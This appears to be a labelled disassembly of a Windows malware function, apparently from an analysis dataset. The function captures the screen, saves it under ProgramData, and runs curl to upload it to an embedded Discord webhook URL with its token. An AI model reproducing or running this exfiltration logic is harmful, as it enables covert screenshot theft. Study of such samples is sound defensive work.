Function at 0x180002cb0
Capabilities:
Capture screenshot
Create process on windows
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rbp + 0x220], rax
xor r12d, r12d
mov dword [rbp - 0x80], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x12
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x2c
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r12 + 2]
mov cl, 0x2c
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r12 + 2]
mov cl, 0x12
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
lea ecx, [r12 + 2]
call qword [sym.imp.USER32.dll_GetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe8], xmm1
mov qword [rbp + 0xf8], r12
mov qword [rbp - 0x78], r12
lea r8, [rbp - 0x78]
lea edx, [r12 + 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov rcx, qword [rbp - 0x78]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea ecx, [r12 + 0x28]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0xc8], r12
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], 0xf
mov byte [rbp + 0xc8], r12b
lea r8d, [r12 + 0x10]
lea rdx, str.curl__F__file1_
lea rcx, [rbp + 0xc8]
call fcn.180006040
nop
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb8], r12
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], r12b
lea r8d, [r12 + 0x2f]
lea rdx, str.C:ProgramDataMicrosoftWindowsScreenshot.png
lea rcx, [rbp + 0xa8]
call fcn.180006040
nop
lea r8, [rbp + 0xa8]
lea rdx, [rbp + 0xc8]
lea rcx, [rsp + 0x50]
call fcn.180006380
nop
lea r8d, [r12 + 2]
lea rdx, [0x18000a90c]
mov rcx, rax
call fcn.1800061a0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea r8d, [r12 + 0x79]
lea rdx, str.https:__discord.com_api_webhooks_1231022232340529252_Mjvxjk_bKyOrdH1BMT_G3GMnE086Kq3S4kRY5ICM01MtSwm07yBMhwfh29q9g1t4R8WO
lea rcx, [rbp + 0x10]
call fcn.1800061a0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x180002eda
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002ed5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002ed5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180008c54
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180002f2a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002f25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002f25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180008c54
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rdi, rax
mov r8d, ebx
mov edx, esi
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r15, rax
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], ebx
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.GDI32.dll_BitBlt]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
lea rax, vtable.ATL::CImage.0
mov qword [rbp + 0x50], rax
mov dword [rbp + 0x80], 0xffffffff
mov qword [rbp + 0x88], r12
mov dword [rbp + 0x90], r12d
mov qword [rbp + 0x98], r12
call fcn.180001300
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [rbx + 0x30]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
mov qword [rbp + 0x58], r15
lea r8, [rbp - 0x60]
mov edx, 0x68
mov rcx, r15
call qword [sym.imp.GDI32.dll_GetObjectW]
cmp eax, 0x68
jne 0x180003097
mov byte [rbp + 0x78], 1
mov ecx, dword [rbp - 0x3c]
mov dword [rbp + 0x68], ecx
mov r8d, dword [rbp - 0x38]
mov eax, r8d
cdq
mov r9d, eax
xor r9d, edx
sub r9d, edx
mov dword [rbp + 0x6c], r9d
movzx eax, word [rbp - 0x32]
mov dword [rbp + 0x74], eax
imul eax, ecx
add eax, 0x1f
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
shl eax, 2
mov dword [rbp + 0x70], eax
mov r10, qword [rbp - 0x48]
mov qword [rbp + 0x60], r10
test r8d, r8d
jle 0x1800030b6
lea ecx, [r9 - 1]
imul ecx, eax
movsxd rdx, ecx
add rdx, r10
mov qword [rbp + 0x60], rdx
neg eax
mov dword [rbp + 0x70], eax
jmp 0x1800030b6
mov byte [rbp + 0x78], 0
mov eax, dword [rbp - 0x5c]
mov dword [rbp + 0x68], eax
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0x6c], eax
movzx eax, word [rbp - 0x4e]
mov dword [rbp + 0x74], eax
mov dword [rbp + 0x70], r12d
mov qword [rbp + 0x60], r12
mov dword [rbp + 0x7c], 0xffffffff
mov byte [rbp + 0x79], 0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
mov qword [rbp + 0x20], r12
mov qword [rsp + 0x70], r12
lea r8, [rsp + 0x70]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov rdx, qword [rsp + 0x70]
lea rcx, [rbp + 0x50]
call fcn.180001480
lea rdx, [rbp + 0xa0]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.SHLWAPI.dll_IStream_Size]
mov edi, dword [rbp + 0xa0]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.SHLWAPI.dll_IStream_Reset]
mov r8d, edi
mov r9, qword [rbp + 0x18]
mov rcx, r9
mov rdx, qword [rbp + 0x10]
sub rcx, rdx
cmp rdi, rcx
jae 0x180003135
lea rax, [rdi + rdx]
mov qword [rbp + 0x18], rax
jmp 0x18000316a
jbe 0x18000316a
mov rax, qword [rbp + 0x20]
sub rax, rdx
cmp r8, rax
jbe 0x180003151
mov rdx, r8
lea rcx, [rbp + 0x10]
call fcn.180006a80
jmp 0x180003166
sub r8, rcx
lea rbx, [r9 + r8]
xor edx, edx
mov rcx, r9
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x18], rbx
mov rdx, qword [rbp + 0x10]
mov r8d, edi
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.SHLWAPI.dll_IStream_Read]
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp + 0x100]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x18000ac00]
mov qword [rbp + 0x100], rax
lea rax, [0x18000a940]
mov qword [rbp + 0x110], rax
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x80], 7
xor r8d, r8d
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x100], rax
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0xfc], edx
lea rax, [rbp + 0x118]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x118], rax
mov byte [rbp + 0x194], 0
mov byte [rbp + 0x189], 0
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x198], r12
mov rax, qword [0x18000ec98]
mov qword [rbp + 0x18c], rax
mov qword [rbp + 0x180], r12
mov edx, 0x22
lea r8d, [rdx + 0x1e]
lea rcx, str.C:ProgramDataMicrosoftWindowsScreenshot.png
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rbx, rax
test rax, rax
je 0x1800033ad
mov byte [rbp + 0x194], 1
mov byte [rbp + 0x189], 0
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x80], r12
lea r9, [rbp - 0x80]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp - 0x80]
mov qword [rsp + 0x30], r9
mov r8, qword [rbp - 0x70]
mov qword [rsp + 0x28], r8
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [rbp + 0x198], rbx
mov rax, qword [0x18000ec98]
mov qword [rbp + 0x18c], rax
mov qword [rbp + 0x180], r12
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.180006670
mov rbx, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x180003353
mov qword [rbp + 0x180], r12
jmp 0x180003368
mov qword [rbp + 0x180], rbx
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x18000338b
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000338b
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x100]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1800033cf
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x100]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
sub r8, rdx
lea rcx, [rbp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x118]
call fcn.180005f90
test rax, rax
jne 0x18000341a
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x100]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov qword [rsp + 0x78], 0xf
lea rcx, [rsp + 0x78]
call fcn.1800064e0
nop
lea rcx, [rbp + 0x100]
call fcn.180003600
nop
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x18000349a
mov rdx, qword [rbp + 0x20]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003489
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003489
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180008c54
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x1800034a9
call qword [sym.imp.GDI32.dll_DeleteObject]
call fcn.180001300
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rbx + 0x30], 1
jne 0x1800034e6
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rbx]
test rcx, rcx
je 0x1800034d9
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov qword [rbx], r12
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x18000352f
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000352a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000352a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180008c54
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x180003584
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000357e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000357e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180008c54
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x1800035c9
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800035c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800035c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180008c54
nop
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.180008610
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret